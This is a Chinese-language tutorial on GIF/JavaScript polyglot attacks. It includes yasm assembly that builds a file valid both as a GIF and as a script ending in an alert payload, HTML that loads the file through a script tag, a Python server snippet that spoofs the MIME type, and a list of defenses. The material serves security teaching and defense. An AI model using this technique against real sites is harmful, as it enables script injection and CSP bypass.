GIF/Javascript Polyglots:滥用GIF、tag和MIME类型成灾
字数 1199 2025-08-27 12:33:43
GIF/JavaScript Polyglot 攻击技术详解
1. 基本概念
1.1 什么是Polyglot文件
Polyglot文件是指一段能够被两种或多种不同解释器/解析器正确解析的代码或数据。在本例中,我们讨论的是同时作为有效GIF图像和有效JavaScript代码的文件。
1.2 攻击原理
通过精心构造一个同时符合GIF和JavaScript语法的文件,利用浏览器对不同MIME类型的处理差异,实现当文件被作为脚本加载时执行恶意代码。
2. 技术实现细节
2.1 GIF文件结构利用
关键点在于利用GIF文件头中的宽度字段:
WIDTH equ 10799 ; 十六进制为2f2a,对应ASCII字符'/*'
这个值在GIF解析时被当作宽度值,而在JavaScript解析时被解释为注释开始标记。
2.2 完整攻击结构
- GIF文件头包含
/*注释开始 - GIF文件内容被包含在JavaScript注释中
- 文件末尾闭合注释并添加可执行代码
示例汇编代码:
; GIF头部
db 'GIF89a'
dw WIDTH, HEIGTH ; 宽度设置为10799(0x2f2a -> '/*')
db 0, -1, 0 ; GCT标志、背景色、宽高比
; GIF图像描述符
db 02ch
dw 0, 0 ; 左上角坐标
dw WIDTH, HEIGTH ; 宽高
db 0, 2 ; 颜色表、LZW最小码大小
; GIF结束符
db 03bh
; JavaScript部分
db '*/' ; 闭合注释
db '=1;' ; 利用GIF89a字符串
db 'alert("haxx");' ; 恶意代码
2.3 编译方法
使用yasm汇编器编译:
$ yasm ./gifjs.asm -o img.gif
3. 攻击执行条件
3.1 必要条件
- 脚本标签引用:文件必须通过
<script>标签加载,而非`` - MIME类型欺骗:服务器必须发送非
image/gif的MIME类型
3.2 HTML测试代码
This is a test
<!-- 正常显示为图像 -->
<script src="img.gif"></script> <!-- 作为脚本执行 -->
4. 绕过MIME类型限制
4.1 服务器配置
使用Python SimpleHTTPServer修改MIME类型:
import SimpleHTTPServer
import SocketServer
PORT = 8000
class Handler(SimpleHTTPServer.SimpleHTTPRequestHandler):
pass
# 修改.gif扩展的MIME类型
Handler.extensions_map['.gif'] = 'application/octet-stream'
httpd = SocketServer.TCPServer(("", PORT), Handler)
print "serving at port", PORT
httpd.serve_forever()
4.2 为什么需要修改MIME类型
浏览器会根据MIME类型决定如何处理文件:
image/gif:作为图像渲染application/octet-stream或其他可执行类型:可能作为脚本执行
5. 实际攻击场景限制
- 需要控制服务器:必须能够控制返回的MIME类型
- 需要脚本标签引用:受害者页面必须使用
<script>引用你的GIF - CSP限制:内容安全策略可能阻止外部脚本执行
6. 防御措施
- 严格的MIME类型检查:确保文件扩展名与MIME类型匹配
- 内容安全策略(CSP):限制脚本来源
- 文件内容验证:不仅检查文件头,还要验证整个文件结构
- 子资源完整性(SRI):使用哈希验证外部资源
7. 扩展应用
- 绕过CSP:当允许加载图像但不允许外部脚本时可能有效
- 隐蔽通信:在看似无害的图像中隐藏可执行代码
- 混合内容攻击:结合其他漏洞扩大攻击面
8. 参考文献
9. 总结
GIF/JavaScript Polyglot攻击展示了:
- 浏览器文件类型检测的局限性
- MIME类型信任过度的问题
- 多语言文件在攻击中的潜在用途
- 需要多层防御来应对此类复杂攻击
虽然实际利用条件较为苛刻,但这种技术具有高度的隐蔽性,在特定场景下可能非常有效。